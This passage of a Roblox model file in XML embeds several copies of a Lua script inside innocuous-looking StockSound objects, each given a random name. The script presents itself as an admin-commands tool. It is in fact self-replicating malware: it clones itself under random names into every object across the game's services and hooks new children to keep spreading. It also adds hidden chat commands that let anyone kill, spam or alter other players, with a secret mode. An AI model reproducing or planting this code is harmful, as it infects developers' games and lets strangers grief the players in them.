speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX293">
			<Properties>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX294">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-20</X>
						<Y>58.5999985</Y>
						<Z>108.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Smooth Block Model</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>78</X>
						<Y>116.400002</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX295">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">06oo6lnu</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX296">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">0000fh</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX297">
				<Properties>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX298">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">zgndm0v</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX299">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">c5ji5a</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
